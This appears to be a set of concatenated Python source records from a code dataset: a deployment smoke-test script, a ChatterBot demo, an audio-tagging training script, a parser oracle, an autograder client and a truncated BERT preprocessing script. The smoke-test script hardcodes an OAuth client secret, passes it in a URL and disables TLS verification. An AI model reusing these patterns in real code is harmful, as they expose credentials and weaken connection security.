SetWebhookHandler),\n ('/webhook', WebhookHandler),\n], debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"65807741","text":"import json\nimport os\nimport sys\nimport requests\nfrom retry import retry\n\n@retry(Exception, tries=3, delay=5)\ndef get_client_token(sso_url, grant_type , client_id, client_secret, duration):\n url = \"%s/oauth/token?grant_type=%s&client_id=%s&client_secret=%s&duration=%s\" % (\n sso_url, grant_type , client_id, client_secret, duration)\n headers = {'Content-Type': 'application/json;charset=UTF-8'}\n try:\n response = requests.post(url, '', headers=headers)\n token = response.json()['accessToken']\n Token = \"Bearer %s\" % token\n return Token\n except Exception as e:\n print(e)\n raise e\n\ndef call_restful_api(url, data, method, auth, timeout, content_type=\"application/json\"): \n headers={\"Content-Type\": content_type, \"Accept\": content_type, \"Cache-Control\": \"no-cache\"}\n if auth is not None:\n headers = {\"Authorization\": auth, \"Content-Type\": content_type, \"Accept\": content_type, \"Cache-Control\": \"no-cache\"}\n if method == \"GET\":\n response = requests.get(url, headers=headers, timeout=timeout, verify=False)\n if method == \"POST\":\n response = requests.post(url, data=data, headers=headers, timeout=timeout, verify=False)\n return response.status_code, response.text, response.elapsed.microseconds / 1000\n\n@retry(Exception, tries=3, delay=5) \ndef get_dashboard_url(dashboardurl_path):\n try:\n serviceurl_str = ''\n if os.path.exists(dashboardurl_path):\n f = open(dashboardurl_path, 'r', encoding='utf-8')\n lines = f.read()\n f.close()\n data_service_str = lines.split('###')\n for data_service in data_service_str:\n data_service = data_service.replace('\\n', '').strip()\n if '' != data_service:\n dahboardurlinfo = json.loads(data_service)\n length = dahboardurlinfo['length']\n for i in range(length):\n index = 'service' + str(i)\n dashboardurl = dahboardurlinfo[index]['dashboardUrl']\n serviceurl_str += '\"' + dashboardurl + '\"'\n serviceurl_str += ','\n serviceurl_str = serviceurl_str[:-1]\n return serviceurl_str\n except Exception as e:\n print(e)\n raise e\n\n@retry(Exception, tries=3, delay=5)\ndef get_urlprefix(listing_system_url, service_name, service_plan, datacenter_code):\n try:\n print('get urlprefix start!')\n url = \"%s/deployment/%s/plan/%s?datacenterCode=%s\" % (listing_system_url, service_name, service_plan, datacenter_code)\n print(url)\n response = call_restful_api(url,'', \"GET\", client_token, 60)\n print(response)\n if response[0] == 200:\n res = json.loads(response[1])\n return res['data'][0]['extraParam']['urlPrefix']\n else:\n raise Exception(response[1])\n except Exception as e:\n print(e)\n raise e\n\n@retry(Exception, tries=3, delay=5)\ndef get_urlprefix_dict(service_info, listing_system_url, datacenter_code, client_token):\n try:\n urlprefix_dict = {}\n for service in service_info:\n if service['deliverType']!='appbuy':\n continue\n urlprefix_list = get_urlprefix(listing_system_url, service['serviceName'], service['servicePlanName'], datacenter_code)\n urlprefix_dict[service['serviceName']] = urlprefix_list\n return urlprefix_dict\n except Exception as e:\n print(e)\n raise e\n\n@retry(Exception, tries=3, delay=5)\ndef somketest(urlprefix_path_dict, identity, subscriptionId, start_date, end_date,cluster_namespace,cluster_cluster,\n externaldomain,deviceon_namespace,serviceurl_str):\n try:\n success_map,failed_map = {},{}\n success_str,failed_str='',''\n if \"trial\" == identity:\n success_str = '\"'+subscriptionId+'\",\"'+start_date+'\",\"'+end_date+'\",'\n else:\n success_str = '\"' + subscriptionId + '\",'\n for key in urlprefix_path_dict.keys():\n success_list, failed_list =[], []\n urlprefix_value = urlprefix_path_dict[key]\n for urlprefix in urlprefix_value:\n prefix = 'https://%s-%s-%s.%s'%(urlprefix,cluster_namespace,cluster_cluster,externaldomain)\n if \"DeviceOn\" == urlprefix:\n prefix = 'https://%s-%s-%s.%s' % (urlprefix, deviceon_namespace, cluster_cluster, externaldomain)\n print(prefix)\n response = call_restful_api(url=prefix, data=None, method='GET', auth=None, timeout=60)\n code = int(response[0])\n if code <200 or code >400:\n failed_list.append(prefix)\n else:\n success_list.append(prefix)\n success_map[urlprefix] = success_list\n failed_map[urlprefix] = failed_list\n if len(success_list) != 0:\n success_str += '\"' + urlprefix + '\":'\n for success_url in success_list:\n success_str += '\"' + success_url + '\";'\n success_str = success_str[:-1]+','\n print(success_str)\n if len(failed_list) != 0:\n failed_str +=urlprefix + ':\\n'\n if ''==serviceurl_str:\n success_str = success_str[:-1]\n else:\n success_str += serviceurl_str\n n = open('success_str.txt', 'w', encoding='utf-8')\n n.write(success_str)\n n.close()\n n = open('failed_str.txt', 'w', encoding='utf-8')\n n.write(failed_str)\n n.close()\n if '' != failed_str:\n raise Exception('failed_str is not null')\n except Exception as e:\n print(e)\n raise e\n\nif __name__ == '__main__':\n service_configs = sys.argv[1].replace('\\(','(').replace('\\)',')')\n service_config = json.loads(service_configs)\n service_info = service_config['serviceInfo']\n datacenter_code = service_config['datacenterCode']\n # urlprefix_path = sys.argv[1]\n # dashboardurl_path = sys.argv[2]\n identity = sys.argv[2]\n subscriptionId = sys.argv[3]\n start_date = sys.argv[4]\n end_date = sys.argv[5]\n cluster_namespace = sys.argv[6]\n cluster_cluster = sys.argv[7]\n externaldomain = sys.argv[8]\n deviceon_namespace = sys.argv[9]\n sso_url = sys.argv[10]\n listing_system_url = sys.argv[11]\n\n # serviceurl_str = get_dashboard_url(dashboardurl_path)\n serviceurl_str = ''\n grant_type, client_id, client_secret, duration = 'client_credentials', 'pipeline-00000000016', \\\n 'ZTY0MzRkZWYtNmZjNC0xMWVhLWI5ZGUtMzA5YzIzZjMyZjFj-pipeline', 'eternal'\n client_token = get_client_token(sso_url, grant_type, client_id, client_secret, duration)\n urlprefix_path_dict = get_urlprefix_dict(service_info, listing_system_url, datacenter_code, client_token)\n somketest(urlprefix_path_dict, identity, subscriptionId, start_date, end_date,cluster_namespace,cluster_cluster,\n externaldomain,deviceon_namespace,serviceurl_str)","sub_path":"public/somketest.py","file_name":"somketest.py","file_ext":"py","file_size_in_byte":7118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"74218506","text":"from chatterbot import ChatBot\n\n\nbot = ChatBot(\n \"Tiberius\",\n io_adapters=[\n \"chatterbot_voice.Voice\"\n ]\n)\n\n# Train the chat bot with the entire english corpus\nbot.train(\"chatterbot.corpus.english\")\n\nuser_input = \"\"\n\nwhile True:\n try:\n user_input = bot.get_input()\n bot_input = bot.get_response(user_input)\n\n # Press ctrl-c or ctrl-d on the keyboard to exit\n except (KeyboardInterrupt, EOFError, SystemExit):\n break\n","sub_path":"examples/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"181638431","text":"\"\"\"\nExample call:\n\nexport STORAGE_ROOT=\npython -m padertorch.contrib.examples.wavenet.train print_config\npython -m padertorch.contrib.examples.wavenet.train\n\"\"\"\nimport os\nfrom collections import defaultdict\n\nimport lazy_dataset\nimport numpy as np\nimport tensorboardX\nimport torch\nfrom lazy_dataset.database import JsonDatabase\nfrom sacred import Experiment as Exp\nfrom sacred.commands import print_config\nfrom sacred.observers import FileStorageObserver\nfrom torch.nn import GRU\nfrom torch.optim import Adam\nfrom torchcontrib.optim import SWA\nfrom upb_audio_tagging_2019.data import (\n split_dataset, MixUpDataset, Extractor, Augmenter,\n DynamicTimeSeriesBucket, EventTimeSeriesBucket,\n Collate, batch_to_device\n)\nfrom upb_audio_tagging_2019.model import CRNN, batch_norm_update\nfrom upb_audio_tagging_2019.modules import CNN2d, CNN1d, fully_connected_stack\nfrom upb_audio_tagging_2019.paths import exp_dir, jsons_dir\nfrom upb_audio_tagging_2019.utils import timestamp\n\nex = Exp('upb_audio_tagging_2019')\nstorage_dir = exp_dir / timestamp()\nobserver = FileStorageObserver.create(str(storage_dir))\nex.observers.append(observer)\n\n\n@ex.config\ndef config():\n debug = False\n\n # Data configuration\n use_noisy = True\n split = 0\n fold = None\n curated_reps = 7\n mixup_probs = [1/3, 2/3]\n extractor = {\n 'input_sample_rate': 44100,\n 'target_sample_rate': 44100,\n 'frame_step': 882,\n 'frame_length': 1764,\n 'fft_length': 2048,\n 'n_mels': 128,\n 'fmin': 50,\n 'fmax': 16000,\n 'storage_dir': storage_dir\n }\n augmenter = {\n 'time_warping_factor_std': None,\n 'time_warping_cutoff_std': 0.1,\n 'feature_warping_factor_std': 0.07,\n 'feature_warping_cutoff_std': 0.5,\n 'n_time_masks': 1,\n 'n_feat_masks': 1,\n }\n num_workers = 8\n batch_size = 16\n prefetch_buffer = 20 * batch_size\n max_padding_rate = 0.2\n bucket_expiration = 2000 * batch_size\n event_bucketing = True\n\n # Model configuration\n model = {\n 'cnn_2d': {\n # 'factory': MultiScaleCNN2d,\n 'in_channels': 1,\n 'hidden_channels': [16, 16, 32, 32, 64, 64, 128, 128, 256],\n 'pool_size': [1, 2, 1, 2, 1, 2, 1, (2, 1), (2, 1)],\n 'num_layers': 9,\n 'out_channels': None,\n 'kernel_size': 3,\n 'norm': 'batch',\n 'activation': 'relu',\n 'gated': False,\n 'dropout': .0,\n },\n 'cnn_1d': {\n 'in_channels': 1024,\n 'hidden_channels': 256,\n 'num_layers': 3,\n 'out_channels': None,\n 'kernel_size': 3,\n 'norm': 'batch',\n 'activation': 'relu',\n 'dropout': .0\n },\n 'enc': {\n 'input_size': 256, 'hidden_size': 256, 'num_layers': 2,\n 'batch_first': True, 'bidirectional': False, 'dropout': 0.\n },\n 'fcn': {\n 'input_size': 256, 'hidden_size': 256, 'output_size': 80,\n 'activation': 'relu', 'dropout': 0.\n },\n 'fcn_noisy': {\n 'input_size': 256, 'hidden_size': 256, 'output_size': 80,\n 'activation': 'relu', 'dropout': 0.\n },\n 'decision_boundary': .3\n }\n\n # Training configuration\n device = 0 if torch.cuda.is_available() else 'cpu'\n lr = 3e-4\n gradient_clipping = 15.\n weight_decay = 3e-5\n swa_start = 750 if debug else 150000\n swa_freq = 50 if debug else 1000\n swa_lr = lr\n summary_interval = 10 if debug else 100\n validation_interval = 500 if debug else 5000\n max_steps = 1000 if debug else 200000\n\n\n@ex.capture\ndef get_datasets(\n use_noisy, split, fold, curated_reps, mixup_probs,\n extractor, augmenter, num_workers, batch_size, prefetch_buffer,\n max_padding_rate, bucket_expiration, event_bucketing, debug\n):\n # prepare database\n database_json = jsons_dir / f'fsd_kaggle_2019_split{split}.json'\n db = JsonDatabase(database_json)\n\n def add_noisy_flag(example):\n example['is_noisy'] = example['dataset'] != 'train_curated'\n return example\n extractor = Extractor(**extractor)\n augmenter = Augmenter(extractor=extractor, **augmenter)\n\n curated_train_data = db.get_dataset('train_curated').map(add_noisy_flag)\n extractor.initialize_labels(curated_train_data)\n if debug:\n curated_train_data = curated_train_data.shuffle()[:len(curated_train_data)//10]\n extractor.initialize_norm(\n dataset_name='train_curated',\n dataset=curated_train_data,\n max_workers=num_workers\n )\n\n if fold is not None:\n curated_train_data, validation_set = split_dataset(\n curated_train_data, fold=fold, seed=0\n )\n else:\n validation_set = None\n\n if use_noisy:\n noisy_train_data = db.get_dataset('train_noisy').map(add_noisy_flag)\n if debug:\n noisy_train_data = noisy_train_data.shuffle()[:len(noisy_train_data)//10]\n extractor.initialize_norm(\n dataset_name='train_noisy',\n dataset=noisy_train_data,\n max_workers=num_workers\n )\n training_set = lazy_dataset.concatenate(curated_train_data, noisy_train_data)\n else:\n training_set = curated_train_data\n batch_norm_tuning_set = training_set\n\n if mixup_probs is not None:\n training_set = MixUpDataset(\n training_set, training_set, mixin_probs=mixup_probs\n )\n if curated_reps > 0:\n print('curated reps:', curated_reps)\n curated_train_data = lazy_dataset.from_dict({\n f'{example[\"example_id\"]}_{i}': example\n for i in range(curated_reps)\n for example in curated_train_data\n })\n if mixup_probs is not None:\n curated_train_data = MixUpDataset(\n curated_train_data, curated_train_data, mixin_probs=mixup_probs\n )\n training_set = lazy_dataset.concatenate(\n training_set, curated_train_data\n )\n\n print('Length of training set', len(training_set))\n\n bucket_cls = EventTimeSeriesBucket if event_bucketing \\\n else DynamicTimeSeriesBucket\n\n def prepare_iterable(dataset, drop_incomplete=False):\n return dataset.prefetch(\n num_workers=num_workers, buffer_size=prefetch_buffer,\n catch_filter_exception=True\n ).batch_dynamic_bucket(\n bucket_cls=bucket_cls, batch_size=batch_size, len_key='seq_len',\n max_padding_rate=max_padding_rate, expiration=bucket_expiration,\n drop_incomplete=drop_incomplete, sort_key='seq_len',\n reverse_sort=True\n ).map(Collate())\n\n training_set = prepare_iterable(\n training_set.map(augmenter).shuffle(reshuffle=True),\n drop_incomplete=True\n )\n batch_norm_tuning_set = prepare_iterable(\n batch_norm_tuning_set.map(extractor), drop_incomplete=True\n )\n if validation_set is not None:\n validation_set = prepare_iterable(validation_set.map(extractor))\n\n return training_set, validation_set, batch_norm_tuning_set\n\n\n@ex.automain\ndef train(\n _run, model, device, lr, gradient_clipping, weight_decay,\n swa_start, swa_freq, swa_lr,\n summary_interval, validation_interval, max_steps\n):\n print_config(_run)\n os.makedirs(storage_dir / 'checkpoints', exist_ok=True)\n train_iter, validate_iter, batch_norm_tuning_iter = get_datasets()\n model = CRNN(\n cnn_2d=CNN2d(**model['cnn_2d']),\n cnn_1d=CNN1d(**model['cnn_1d']),\n enc=GRU(**model['enc']),\n fcn=fully_connected_stack(**model['fcn']),\n fcn_noisy=None if model['fcn_noisy'] is None\n else fully_connected_stack(**model['fcn_noisy']),\n )\n print(sum(p.numel() for p in model.parameters() if p.requires_grad))\n model = model.to(device)\n model.train()\n optimizer = Adam(\n tuple(model.parameters()), lr=lr, weight_decay=weight_decay\n )\n if swa_start is not None:\n optimizer = SWA(\n optimizer, swa_start=swa_start, swa_freq=swa_freq, swa_lr=swa_lr\n )\n\n torch.backends.cudnn.enabled = True\n torch.backends.cudnn.benchmark = False\n\n # Summary\n summary_writer = tensorboardX.SummaryWriter(str(storage_dir))\n\n def get_empty_summary():\n return dict(\n scalars=defaultdict(list),\n histograms=defaultdict(list),\n images=dict(),\n )\n\n def update_summary(review, summary):\n review['scalars']['loss'] = review['loss'].detach()\n for key, value in review['scalars'].items():\n if torch.is_tensor(value):\n value = value.cpu().data.numpy()\n summary['scalars'][key].extend(\n np.array(value).flatten().tolist()\n )\n for key, value in review['histograms'].items():\n if torch.is_tensor(value):\n value = value.cpu().data.numpy()\n summary['histograms'][key].extend(\n np.array(value).flatten().tolist()\n )\n summary['images'] = review['images']\n\n def dump_summary(summary, prefix, iteration):\n summary = model.modify_summary(summary)\n\n # write summary\n for key, value in summary['scalars'].items():\n summary_writer.add_scalar(\n f'{prefix}/{key}', np.mean(value), iteration\n )\n for key, values in summary['histograms'].items():\n summary_writer.add_histogram(\n f'{prefix}/{key}', np.array(values), iteration\n )\n for key, image in summary['images'].items():\n summary_writer.add_image(\n f'{prefix}/{key}', image, iteration\n )\n return defaultdict(list)\n\n # Training loop\n train_summary = get_empty_summary()\n i = 0\n while i < max_steps:\n for batch in train_iter:\n optimizer.zero_grad()\n # forward\n batch = batch_to_device(batch, device=device)\n model_out = model(batch)\n\n # backward\n review = model.review(batch, model_out)\n review['loss'].backward()\n review['histograms']['grad_norm'] = torch.nn.utils.clip_grad_norm_(\n tuple(model.parameters()), gradient_clipping\n )\n optimizer.step()\n\n # update summary\n update_summary(review, train_summary)\n\n i += 1\n if i % summary_interval == 0:\n dump_summary(train_summary, 'training', i)\n train_summary = get_empty_summary()\n if i % validation_interval == 0 and validate_iter is not None:\n print('Starting Validation')\n model.eval()\n validate_summary = get_empty_summary()\n with torch.no_grad():\n for batch in validate_iter:\n batch = batch_to_device(batch, device=device)\n model_out = model(batch)\n review = model.review(batch, model_out)\n update_summary(review, validate_summary)\n dump_summary(validate_summary, 'validation', i)\n print('Finished Validation')\n model.train()\n if i >= max_steps:\n break\n\n # finalize\n if swa_start is not None:\n optimizer.swap_swa_sgd()\n batch_norm_update(\n model, batch_norm_tuning_iter, feature_key='features', device=device\n )\n torch.save(\n model.state_dict(),\n storage_dir / 'checkpoints' / 'ckpt_final.pth'\n )\n","sub_path":"upb_audio_tagging_2019/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"254223782","text":"import sys\nfrom WordBuffer import WordBuffer\nfrom automate import Automate\nfrom ConstructAllTree import ConstructAllTree\nfrom Projectivite import Projectivite\nfrom Features import Features\n\n\nclass Oracle(Automate):\n\n \"\"\"\n Objectif :\n Construire les configurations et les transitions corespondantes d'un arbre\n \"\"\"\n\n def __init__(self, target_tree, features):\n \"\"\"\n constructor: Automate\n input:\n target_tree = Arbre objectif contenue dans un Tree\n features = liste des features à prendre en compte pour construire une configuration\n Initialise un automate avec les mots de la phrase\n labels est la liste des different labels de la phrase\n \"\"\"\n sentence = list()\n self.name = list()\n for vt in target_tree.vertices:\n sentence.append(vt.get_word())\n\n Automate.__init__(self, None, None, sentence)\n self.target_tree = target_tree\n\n self.labels = list()\n for word in sentence:\n # print(word.getFeat('FORM'),'\\t',word.getFeat('LABEL'))\n l = word.getFeat('LABEL')\n self.name = word.getFeat('FORM') # pour voir la phrase\n if l is not None: # Si l n'est pas liée au root\n if l not in self.labels: # Si l n'est pas déjà dans la liste\n self.labels.append(l)\n # print(self.labels)\n\n self.features = features\n\n def present_in_tree(self, tree, wi, l, wj):\n \"\"\"\n Input :\n tree : l'arbre dans lequel la recherche sera effectué\n wi : l'indice du mot i\n wj : l'indice du mot j\n l : le label de la liaison (wi -> wj)\n Renvoie true si la liaison (wi, l, wj) est présente dans tree\n Sinon renvoie False\n \"\"\"\n if wi == None or wj == None:\n return False\n\n vertex_i = tree.index_search(wi)\n # vertex_i.show_liaison()\n for liaison in vertex_i.nodes:\n if liaison.get_target().get_index() == wj:\n # print(\"aff\",liaison.get_target().get_word().getFeat('FORM'))\n if liaison.get_label() == l:\n return True\n return False\n\n def run(self):\n \"\"\"\n Execute l'oracle sur phrase et ajoute à self.features.labels\n la suite de transitions qui génére self.target_tree ainsi que\n les configurations corespondantes à self.features.datas\n \"\"\"\n\n while not self.fin():\n # self.tree.print_tree()\n flag = True\n\n Spile = self.pile.see(0)\n Sbuff = self.buff.see(0)\n #print(\"Spile : \", Spile, \" Sbuff : \", Sbuff)\n # self.pile.print_pile()\n\n self.features.extract_features(self.pile, self.buff, self.tree)\n\n # if Spile == 13 and Sbuff == 14:\n # sys.exit(0)\n #print(\"labels : \",self.labels)\n\n # LEFT_l\n if Spile is not None:\n for l in self.labels:\n if self.present_in_tree(self.target_tree, Sbuff, l, Spile):\n self.left(l)\n self.features.labels.append(\"LEFT_\" + l)\n # print(\"LEFT_\" + l)#,\" \",self.labels)\n flag = False\n break\n\n # RIGHT_l\n if flag and Spile is not None:\n for l in self.labels:\n if self.present_in_tree(self.target_tree, Spile, l, Sbuff):\n self.right(l)\n self.features.labels.append(\"RIGHT_\" + l)\n # print(\"RIGHT_\" + l)#,\" \",self.labels)\n flag = False\n break\n\n # REDUCE\n if flag and Spile is not None:\n # self.tree.print_tree()\n #print(\"Spile : \", Spile, \" Sbuff : \", Sbuff)\n\n nb_dependant = 0 # Nombre de dépandant à Spile dans target_tree\n nb_dependances = 0 # Nombre de dépandant à Spile dans tree\n \"\"\"for vertex_i in self.tree.vertices: # Pour tous les mots\n\t\t\t\t\t# if vertex_i.parent == None:\n\t\t\t\t\t#\tcontinue\n\t\t\t\t\tfor l in self.labels: # Pour tous les labels possible\n\t\t\t\t\t\t# Si le Spile gouverne vertex\n\t\t\t\t\t\tif self.present_in_tree(self.target_tree, Spile, l, vertex_i.get_index()):\n\t\t\t\t\t\t\tnb_dependant += 1\n\t\t\t\t\t\t\tprint(\"Target \",vertex_i.get_labelWord(),\" Label \", l)\n\t\t\t\t\t\t\t# if vertex_i.get_word() == 'Trois' and l == 'nummod':\n\t\t\t\t\t\t\t#\tsys.exit(0)\n\t\t\t\t\t\t\t# Si cette liaison a déjà était ajouter a l'arbre\n\t\t\t\t\t\tif self.present_in_tree(self.tree, Spile, l, vertex_i.get_index()):\n\t\t\t\t\t\t\tnb_dependances += 1\n\t\t\t\t\t\t\tprint(\"Tree \",vertex_i.get_labelWord(),\" Label \", l)\n\t\t\t\t\"\"\"\n nodes_tree = self.tree.vertices[Spile].get_nodes()\n nodes_target = self.target_tree.vertices[Spile].get_nodes()\n\n # Compte le nombre de dépandence de Spile dans target_tree qui sont aussi dans tree\n nb_dependant = len(nodes_target)\n for link1 in nodes_target:\n for link2 in nodes_tree:\n if link1.compare_links(link2):\n nb_dependances += 1\n\n # print(nb_dependances,nb_dependant)\n # print(self.tree.vertices[Spile].get_word().getFeat('FORM'))\n # Si on a crée toutes les dépendances du sommet de pile\n #print(\"Dep : \",nb_dependances,\" \",nb_dependant)\n if nb_dependances == nb_dependant or self.buff.len() == 0:\n if self.tree.index_search(Spile).parent is not None or self.tree.vertices[Spile].get_word().getFeat('FORM') == \"root\":\n self.reduce()\n self.features.labels.append(\"REDUCE\")\n # print(\"REDUCE\")#,\" \",self.labels)\n flag = False\n\n # SHIFT\n if flag:\n self.features.labels.append(\"SHIFT\")\n # print(\"SHIFT\")# \",self.labels)\n self.shift()\n\n return self.tree\n\n\n\"\"\"\n# Test de la classe Automate\n# Appelle la méthodes run sur les phrases du fichier test.txt\n\n# Lecture du fichier conllu\nmcd =(('INDEX', 'INT'), ('FORM', 'INT'), ('LEMMA', 'INT'), ('POS', 'SYM'), ('X1', 'INT'), ('MORPHO', 'INT'), ('GOV', 'SYM'), ('LABEL', 'SYM'), ('X2', 'SYM'), ('X3', 'SYM'))\nobj_generateAlltree = ConstructAllTree(\"test.txt\",mcd,True)\nall_tree = obj_generateAlltree.get_allTree()\n\nfor tree in all_tree:\n\tsentence = list()\n\tfor vt in tree.vertices:\n\t\tsentence.append(vt.get_word())\n\n\tautomate = Automate(sentence=sentence)\n\ttree = automate.run()\n\ttree.print_tree()\n\"\"\"\n\nif(__name__ == \"__main__\"):\n # Test de la classe Oracle et Features\n mcd = (('INDEX', 'INT'), ('FORM', 'INT'), ('LEMMA', 'INT'), ('POS', 'SYM'), ('X1', 'INT'),\n ('MORPHO', 'INT'), ('GOV', 'SYM'), ('LABEL', 'SYM'), ('X2', 'SYM'), ('X3', 'SYM'))\n\n # Lecture du fichier conllu\n obj_generateAlltree = ConstructAllTree(\n \"Data/fr_gsd-ud-train.conllu\", mcd, False)\n all_tree = obj_generateAlltree.get_allTree()\n\n print(len(all_tree))\n t1 = all_tree[0]\n t1.print_tree()\n\n pp = Projectivite()\n t2, exist = pp.projectiviser(t1)\n\n t2 = all_tree[0]\n t2.print_tree()\n\n features = Features(\"Data/f1_tbp.fm\")\n\n A = Oracle(t2, features)\n print(A.labels)\n\n result_tree = A.run()\n sys.exit(0)\n\n features = Features(\"Data/f1_tbp.fm\")\n\n for tree in all_tree:\n A = Oracle(tree, features)\n\n result_tree = A.run\n # result_tree.print_tree()\n\n #print(\"Liste des données (X) :\")\n # print(features.datas)\n #print(\"Liste des labels (Y) :\")\n # print(features.labels)\n print(\"Nb label : \", len(features.labels))\n print(\"Nb data : \", len(features.datas))\n\n onehot_X = features.convert_datas_to_one_hot()\n #print(\"Final X \", onehot_X)\n onehot_Y = labels_onehot = features.convert_labels_to_one_hot()\n #print(\"Final Y \", onehot_Y)\n\n print(\"Nombre de labels different : \", features.nombre_labels())\n\n print(\"Liste des mots réccuperer \", features.forms)\n print(\"Mots après embedding\", features.convert_forms_to_embedding(\n \"Data/embd_file_vectors/embd.vec\"))\n","sub_path":"Oracle.py","file_name":"Oracle.py","file_ext":"py","file_size_in_byte":8578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"382246001","text":"product_family = 'code_activator'\nquestion_type = 'input_output'\nhotspot_declarations = {'$out1': 'string', '$out0': 'string'}\ndisplay = r'''L = [ x * x for x in range(0,6) ]\nprint L[0]\nprint L[-1]\n\n'''\nargvs = r''''''\nstdin = r''''''\nstdout = r'''$out0\n$out1\n'''\n","sub_path":"cqg/question_library/python/squares_io_1/cqg_config.py","file_name":"cqg_config.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266020234","text":"import socket, asyncio\nimport random, sys, time\nimport playground\nfrom playground.network.packet.fieldtypes import UINT8, STRING, BUFFER, UINT16, BOOL\nfrom playground.network.common import PlaygroundAddress\nfrom playground.network.packet import PacketType\nfrom playground.network.packet.fieldtypes.attributes import Optional\nimport es6_mypacket\n\nclass AutogradeStartTest(PacketType):\n DEFINITION_IDENTIFIER = \"20194.exercise6.autogradesubmit\"\n DEFINITION_VERSION = \"1.0\"\n \n FIELDS = [\n (\"name\", STRING),\n (\"team\", UINT8),\n (\"email\", STRING),\n (\"port\", UINT16),\n (\"packet_file\", BUFFER)]\n \nclass AutogradeTestStatus(PacketType):\n DEFINITION_IDENTIFIER = \"20194.exercise6.autogradesubmitresponse\"\n DEFINITION_VERSION = \"1.0\"\n \n NOT_STARTED = 0\n PASSED = 1\n FAILED = 2\n \n FIELDS = [\n (\"test_id\", STRING),\n (\"submit_status\", UINT8),\n (\"client_status\", UINT8),\n (\"server_status\", UINT8),\n (\"error\", STRING({Optional: True}))]\n \nclass AutogradeResultRequest(PacketType):\n DEFINITION_IDENTIFIER = \"20194.exercise6.autograderesult\"\n DEFINITION_VERSION = \"1.0\"\n \n FIELDS = [\n (\"test_id\", STRING)\n ]\n \nclass AutogradeResultResponse(PacketType):\n DEFINITION_IDENTIFIER = \"20194.exercise6.autograderesultresponse\"\n DEFINITION_VERSION = \"1.0\"\n \n FIELDS = [\n (\"test_id\", STRING),\n (\"passed\", BOOL),\n ]\n\n\n\nclass EchoClient(asyncio.Protocol):\t\n\tdef __init__(self):\n\t\tself.escapestep=['look mirror','get hairpin','unlock chest with hairpin',\n\t\t\t\t\t\t\t'open chest','get hammer in chest','hit flyingkey with hammer',\n\t\t\t\t\t\t\t'get key','unlock door with key','open door']\n\t\tself.es_iter=0;\n\t\tself.es_itst=5;\n\t\tself.fla=0;\n\n\tdef connection_made(self, transport):\n\t\tself.transport = transport\n\t\tpack1=AutogradeStartTest(name='chengsiyang',team=7,email='soap27@163.com',port=6666,packet_file=b'')\n\t\twith open('es6_mypacket.py','rb') as f:\n\t\t\tpack1.packet_file=f.read()\n\t\tprint(pack1)\n\t\tself.transport.write(pack1.__serialize__())\n\n\tdef data_received(self, data):\n\t\t#print(data)\n\t\tdd=AutogradeTestStatus.Deserializer()\n\t\tdd.update(data)\n\t\tfor recvpack in dd.nextPackets():\n\t\t\tprint(recvpack.DEFINITION_IDENTIFIER,':')\n\t\t\tprint(recvpack.test_id,recvpack.submit_status,recvpack.client_status,recvpack.server_status,recvpack.error)\n\t\tdd=es6_mypacket.GameResponsePacket.Deserializer()\n\t\tdd.update(data)\t\t\n\t\tfor recvpack in dd.nextPackets():\n\t\t\t#print(recvpack.DEFINITION_IDENTIFIER)\n\t\t\tprint(recvpack.gameresponse, ' ', recvpack.statusgame)\n\t\t\tif self.es_iter 10개 변경한 버전 임.\n# https://github.com/data-science-on-aws/workshop/blob/master/06_prepare/preprocess-scikit-text-to-bert.py\n\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import resample\nimport functools\nimport multiprocessing\n\nimport pandas as pd\nfrom datetime import datetime\nimport subprocess\nimport sys\n\nsubprocess.check_call([sys.executable, '-m', 'pip', 'install', 'tensorflow==2.1.0'])\nimport tensorflow as tf\nprint(tf.__version__)\n\nsubprocess.check_call([sys.executable, '-m', 'pip', 'install', 'transformers==2.8.0'])\nfrom transformers import DistilBertTokenizer\n\nfrom tensorflow import keras\nimport os\nimport re\nimport collections\nimport argparse\nimport json\nimport os\nimport pandas as pd\nimport csv\nimport glob\nfrom pathlib import Path\n\ntokenizer = DistilBertTokenizer.from_pretrained('distilbert-base-uncased')\n\nDATA_COLUMN = 'TWEET'\nLABEL_COLUMN = 'LABEL'\nLABEL_VALUES = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n \nlabel_map = {}\nfor (i, label) in enumerate(LABEL_VALUES):\n label_map[label] = i\n\nclass InputFeatures(object):\n \"\"\"BERT feature vectors.\"\"\"\n\n def __init__(self,\n input_ids,\n input_mask,\n segment_ids,\n label_id):\n self.input_ids = input_ids\n self.input_mask = input_mask\n self.segment_ids = segment_ids\n self.label_id = label_id\n \n \nclass Input(object):\n \"\"\"A single training/test input for sequence classification.\"\"\"\n\n def __init__(self, text, label=None):\n \"\"\"Constructs an Input.\n Args:\n text: string. The untokenized text of the first sequence. For single\n sequence tasks, only this sequence must be specified.\n label: (Optional) string. The label of the example. This should be\n specified for train and dev examples, but not for test examples.\n \"\"\"\n self.text = text\n self.label = label\n\ndef convert_input(text_input, max_seq_length):\n # First, we need to preprocess our data so that it matches the data BERT was trained on:\n #\n # 1. Lowercase our text (if we're using a BERT lowercase model)\n # 2. Tokenize it (i.e. \"sally says hi\" -> [\"sally\", \"says\", \"hi\"])\n # 3. Break words into WordPieces (i.e. \"calling\" -> [\"call\", \"##ing\"])\n # \n # Fortunately, the Transformers tokenizer does this for us!\n #\n tokens = tokenizer.tokenize(text_input.text) \n\n encode_plus_tokens = tokenizer.encode_plus(text_input.text,\n pad_to_max_length=True,\n max_length=max_seq_length)\n\n # Convert the text-based tokens to ids from the pre-trained BERT vocabulary\n input_ids = encode_plus_tokens['input_ids']\n # Specifies which tokens BERT should pay attention to (0 or 1)\n input_mask = encode_plus_tokens['attention_mask']\n # Segment Ids are always 0 for single-sequence tasks (or 1 if two-sequence tasks)\n segment_ids = [0] * max_seq_length\n\n # Label for our 